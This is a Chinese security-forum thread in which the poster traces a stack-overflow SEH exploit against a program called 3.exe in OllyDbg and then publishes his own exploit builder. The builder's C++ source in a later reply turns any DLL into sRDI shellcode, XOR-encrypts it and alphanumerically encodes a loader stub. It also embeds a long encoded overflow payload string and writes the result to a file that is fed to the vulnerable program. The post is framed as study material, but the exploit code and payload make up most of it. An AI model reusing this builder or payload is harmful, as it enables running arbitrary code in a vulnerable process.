首页
社区
课程
招聘
[原创]od逆向分析栈溢出shellcode
发表于: 2018-5-2 16:03 8148

[原创]od逆向分析栈溢出shellcode

2018-5-2 16:03
8148

概述:逆向一个栈溢出实例,正向开发一个可以实现同样功能的项目.

主要功能:利用栈溢出产生的SEH异常处理,运行传入的参数里面的字符串化的shellcode,进而加载dll并运行
仅供用于学习研究栈溢出实现原理,严禁用于其他用途.
原来没有shellcode这方面经验,通过od逆向分析具体实例,在结合github找一些资料.最终完成了利用栈溢出加载指定文件shellcode化的dll文件.
逆向分析过程:
原来没有shellcode这方面经验,通过od逆向分析具体实例,在结合github找一些资料.最终完成了利用栈溢出加载指定文件shellcode化的dll文件.
逆向分析过程:
1.暂停创建的进程.

上图箭头指示位置CreationFlags参数改为4,使cmd运行的进程暂停运行,以便进程创建完成后可以用od附加调试.

下图为被暂停的进程. -r 后面为传进3.exe的命令行参数


2.附加3.exe进程,在od线程界面对暂停的线程进程恢复运行.

3.od调试3.exe找到下图分支





[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (6)
雪    币: 227
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
6.异常处理开始执行,仔细观察下图:运行在栈内自己构建的shellcode


结合上图查看下图内存区域选中部分就是上图的代码,可以直观查看


最后于 2018-5-2 16:37 被进口坚果编辑 ,原因:
2018-5-2 16:03
0
雪    币: 227
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
7.在内存区域搜索 -r 参数开始位置


8.开始执行主要shellcode加载dll


9.复制加密的二进制dll文件,到自己申请的内存


10.对所有节进行对齐复制以后dll就加载完成,然后调用即可
最后于 2018-5-2 20:13 被进口坚果编辑 ,原因:
2018-5-2 16:04
0
雪    币: 227
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
经过od逆向分析shellcode调用过程,总体了解了栈溢出的利用.
下面介绍自己实现的对dll的调用.
利用了https://github.com/monoxgas/sRDI 对dll进行转换处理
Alpha2 对加载dll的shellcode 进行字符串化处理


代码主要部分
https://github.com/jinjie412/shellcode_pro

自动生成的 文件 a 就是包括shellcode 和dll在内.放到8.rar文件夹就可以使用了

注意8.rar文件3.exe 在网络获取,测试使用虚拟机

最后于 2018-5-5 07:36 被进口坚果编辑 ,原因:
2018-5-2 16:04
0
雪    币: 227
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5

github上 8.rar中文件说明

3.exe存在栈溢出程序(谨慎使用,在虚拟机运行,性质不清楚)
a  文件是项目转换完的给 3.exe 通过参数的文件
运行aaa 快捷方式可测试窗口

dll导出函数



测试dll TestDLL_x86.dll 拖动到step.exe上,就可以生成二进制文件a



代码主要结构,详细代码在上面提到的github找

最后于 2018-5-4 09:05 被进口坚果编辑 ,原因:
2018-5-2 16:04
0
雪    币: 227
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6

hello

int main(int argc, char *argv[], char *envp[])
{
    LPSTR finalShellcode = NULL, data = NULL;
    DWORD finalSize, dataSize;


    if (argc <2) {
        printf("\n[!] Usage:\n\n\tNativeLoader.exe <DLL File>\n\tNativeLoader.exe <Shellcode Bin>\n");
        return 0;
    }

    if (!GetFileContents(argv[1], &data, dataSize)) {
        printf("\n[!] Failed to load file\n");
        return 0;
    }

    //加密dll
    if (data[0] == 'M' && data[1] == 'Z') {
        printf("[+] File is a DLL, attempting to convert\n");

        if (!ConvertToShellcode(data, dataSize, HashFunctionName("SayHello"), "dave", 5, SRDI_CLEARHEADER, finalShellcode, finalSize)) {
            printf("[!] Failed to convert DLL\n");
            return 0;
        }

        printf("[+] Successfully Converted\n");
        PBYTE p = (PBYTE)finalShellcode;
        for (size_t i = 0; i < finalSize; i++)
        {
            *p ^= PASSWORD;
            p++;
        }
        printf("[+] Successfully use pssword\n");

    }
    else {
        printf("\n[!] Dll file pe erro\n");
        return 0;
    }

    //加载大shell
    DWORD ShellCodeSize = (DWORD)EndSign - (DWORD)ShellCode;
    PBYTE evil = new BYTE[ShellCodeSize];
    RtlCopyMemory(evil, (BYTE *)ShellCode, ShellCodeSize);


    char* szShellCode = new char[8192];
    RtlZeroMemory(szShellCode, sizeof(szShellCode));

    char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    char* edi = "3 -r wootwootWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"; //wootwoot定位字符, edi指向shell头设定
    RtlCopyMemory(szShellCode, edi, strlen(edi));

    char*p = szShellCode + strlen(edi);

    int   input, A, B, C, D, E, F;

    int   unicode = 0;
    for (int j = 0; j<ShellCodeSize; j++)//对 加载pe加密shell的load shell 进行字符串化
    {
        input = evil[j];
        A = (input & 0xf0) >> 4;
        B = (input & 0x0f);

        F = B;
        int i = rand() % strlen(valid_chars);
        while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
        E = valid_chars[i] >> 4;
        D = unicode ? (A - E) & 0x0f : (A^E);
        i = rand() % strlen(valid_chars);
        while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
        C = valid_chars[i] >> 4;
        *p++ = (C << 4) + D;
        *p++ = (E << 4) + F;
    }


    char* szconst = "";
    printf("%s\n\n", szShellCode);//加载pe加密shell的load shell(字符串形式)
    delete[]evil;
    strcat(szShellCode,
        "3 -r wootwootWYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIQELKJLMQZLY0EQUPUPPSPVPW9V75ZX3SIVW5ZYFNO6QUZZ2DYVQUKK2BK0E5KL5PHFLE8LKNKOKO1SYVMU8MKNKOKO42O6MUXNKNKOKOSUXFK5HOKNKOKOCQHFK5N0KNKOKOD4O6LEN1KNKOKO3UHFLEHRKNKOKOPFO6K5XSKNKOKOBIO6LEHTKNKOKORLXFMUYEKNKOKOSU9VMU8VKNKOKOQQMPOUIGKNKOKOEP9VMUNTKNKOKOW7YVK5OEKNKOKO2EIVLENVKNKOKORTO6LEH7KNKOKOPMYVMUNXKNKOKO2OYVMUNYKNKOKO2DO6MUNZKNKOKO3E9VK5OKKNKOKORLO6K5OLKNKOKOREYVLEOMKNKOKOQVO6K5ONKNKOKORIYVK5OOKNKOKO2LO6MUYPKNKOKOU58FLEYQKNKOKOPNXFK59RKNKOKOU1XFMUO3KNKOKO2MYVMUO4KNKOKOCU8FK5XEKNKOKO1QK0NEXFKNKOKOEPHFMUNDKNKOKO2LO6K5Y5KNKOKOCCO6MUOVKNKOKOSDO6LE97KNKOKOBRYVMUNHKNKOKO53YVLE99KNKOKO3QYVK5OZKNKOKO44O6K5NKKNKOKOQQMPI5NLKNKOKO5PXFMUJ0KNKOKOQFYVLELQKNKOKO3YO6MULRKNKOKO42XFMULSKNKOKO44XFMUMDKNKOKO3EXFK5Z5KNKOKOCQO6MUZ6KNKOKO2L8FLELWKNKOKOW1YVK5Z8KNKOKO2LYVLELYKNKOKO2LYVK5LZKNKOKOBOO6MUMKKNKOKO2CK0NEMLKNKOKOS09VMUSLKNKOKOF2O6MU3MKNKOKO2E9VLE3NKNKOKOU1YVMU3OKNKOKOE4O6MUK0KNKOKO1VO6MUK1KNKOKOSY9VLELBKNKOKORLYVK5K3KNKOKO2EMPOUMTKNKOKO30O6LERHKNKOKO2LYVMUU9KNKOKOBSXFMURJKNKOKO2TIVK52KKNKOKOT2O6MURLKNKOKORLIVMURMKNKOKOCUYVK5RNKNKOKO2NO6LEROKNKOKOQQK0OUD0KNKOKOEPZHLCEQUPUPLMK5XLKNKOKOPPKORUJTKOLUILKNKOKOK9MUMXKNKOKOLMMUNTKNKOKOPPKOT5JTKOLUYLKNKOKOK9K5NPKNKOKOLMMUNDKNKOKO0PKORUKDKOLUYLKNKOKOK9PEM8LMMUJ0KNKOKO60KOSEKDKOLUILKNKOKOLIMUE0KNKOKOLMLESLKNKOKOPPKO2UL4KOLUYLKNKOKOMYMUXXKNKOKOLMMUSXKNKOKOV0KOT5L4KOLUYLKNKOKOMY0EJLRH5T31EPEPLMLEM4KNKOKOF03Z5PKOJ5NPKNKOKOLMMUM4KNKOKOPPKOV5ZLMYLEOPKNKOKOLKK5OPKNKOKOTOONMTUUJCKNKOKOLCZX1LSDTOLKLEI0KNKOKO78MYMUY0KNKOKOJKYNLKMUOPKNKOKOMPND35ZDKNKOKO5PLMPEL80PLMK5ZDKNKOKOPPKOF5M82J30BJ7PBJ5S2JUPRJ5Q2HS0UPS0MPLMLEKTKNKOKOPPKOJ5MXKNKOKOLIMULLKNKOKORJ70SXEP4PUPUP3X5PEPTPS0CZUPKOMESPKNKOKOK9MURDKNKOKOSZEPLMMURTKNKOKO0PSXUPC04PS0KONU2DKNKOKOKOX5LLKNKOKOKOLU9HKNKOKOK3OUHHKNKOKO5PLKLECTKNKOKODCMUYXKNKOKOTOOFEPK5IPT4DOLKK59XKNKOKOQPMYMU9XKNKOKOJKYNLKMUIXKNKOKOLKLMSTKNKOKOLMW4C1UQMYMU48KNKOKOLKK5RXKNKOKOKOKPX9P0EPEP5PSTLKUQ2DLKUMVP5P30EPLKQKTLLKQKTTLKEKLK5KLK1STPLIG5L4LKSMZTLK77WLLK645W2X339GMYF5L0LKQEZPLKBZ4XLKT2WP5SD5L4FSXIWKHORTWOLKULLNS31ML4MQGKW7RERT0PD5VNMQCK342R2O3S1Q3EQ5SPLKRUJPLKQNWT33QML4LKD65L332UJTLKXQDOOG4LF3LK5TLNESQUKDMYMUYLKNKOKOU1JKUSQQJKOMO3ACLKTDLN5SQUJPK9LEN8KNKOKOU1ZKS3G1JKOM9SACACCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBBBBBBBBBBBBBBBBB01238888ABBAA愲悙X鄲桷PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIH9RaQQW11QOKQapQQQSpP3xYlyBpEPgpGpF1pQKOFsskSilKihLKn88k7uCnl2nDioXcM8xvKOioKOoq8l7pwt7pS0KLJKDa2yLxRWROPoPtpQrJkO03YKSTMYWSRJ32PYnkkK8sNO3EGwIoJGQvoqzkkODO3sJKZMkXyJYoyoYoQz4LryLKs4flNQOHk37tUXwvrxMSo4VpPP4syPO3A悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙怱01CKOHURC512L3SC0AABBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCcCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD3蓯备愲[悑$悏冹X兡P3缾脨桢悙窧BBAH孅GOW痏u鷲兦鏰aaaaaaaaa牒ZZc"
    );
    char e[] = { 0x0d,0x0a,0 }; //这2个字节字符串形式无法组织字符串单独复制
    strcat(szShellCode, e);
    printf("%s\n", szShellCode);//这里全部投shell组织完成
                                //合并一个文件
    int iLenShellCode = strlen(szShellCode) + 1;
    int iAll = iLenShellCode + finalSize;//shell头+0+pe加密shell 总长度
    evil = new BYTE[iAll];
    RtlZeroMemory(evil, iAll);
    RtlCopyMemory(evil, szShellCode, iLenShellCode);//复制shell头
    PBYTE p0 = evil + iLenShellCode;
    RtlCopyMemory(p0, finalShellcode, finalSize);//复制pe加密shell
    free(finalShellcode);
    delete[]szShellCode;

    ofstream fout;
    fout.open("a", ios_base::binary | ios::trunc);
    if (!fout.is_open())
    {
        cout << "Error Out Open..." << endl;
        return -1;
    }
    cout << "file size :" << iLenShellCode + finalSize << endl;
    fout.write((char*)evil, iLenShellCode + finalSize);
    fout.close();
    delete[]evil;
    system("pause");
    return 0;
}
最后于 2018-5-4 09:15 被进口坚果编辑 ,原因:
2018-5-4 09:11
0
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
mark    有时间再来细看
2018-5-5 23:48
0
游客
登录 | 注册 方可回帖
返回
//